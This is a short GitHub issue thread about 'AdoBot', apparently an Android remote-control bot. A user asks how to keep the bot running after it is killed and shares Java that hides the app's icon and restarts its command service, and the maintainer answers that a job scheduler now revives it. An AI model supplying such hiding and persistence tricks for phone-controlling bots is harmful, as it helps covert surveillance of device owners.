AdoBot icon indicating copy to clipboard operation
AdoBot copied to clipboard

Bot Dies no Ressurrection

Open buffer1900 opened this issue 6 years ago • 1 comments

I tried Killing it and waited for some minutes nothing 30 minutes bot is offline,, i have tried this : PackageManager i = getApplicationContext().getPackageManager(); i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

    if(isMyServiceRunning()==false)
    {
        startService(new Intent(getApplicationContext(), CommandService.class));
        Log.i("com.android.adobot","startService");

private boolean isMyServiceRunning() { ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE); for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { if (CommandService.class.getName().equals(service.service.getClassName())) { return true; } } return false; }

nothing works
Bot offline. How i wish its able to auto start after killing that's apply same as the phone shutting down then restarts so the app auto starts.

buffer1900 avatar May 16 '18 06:05 buffer1900

Try the new version of this app. I used job scheduler to resurrect the app. Let me know your results.

adonespitogo avatar Nov 20 '18 17:11 adonespitogo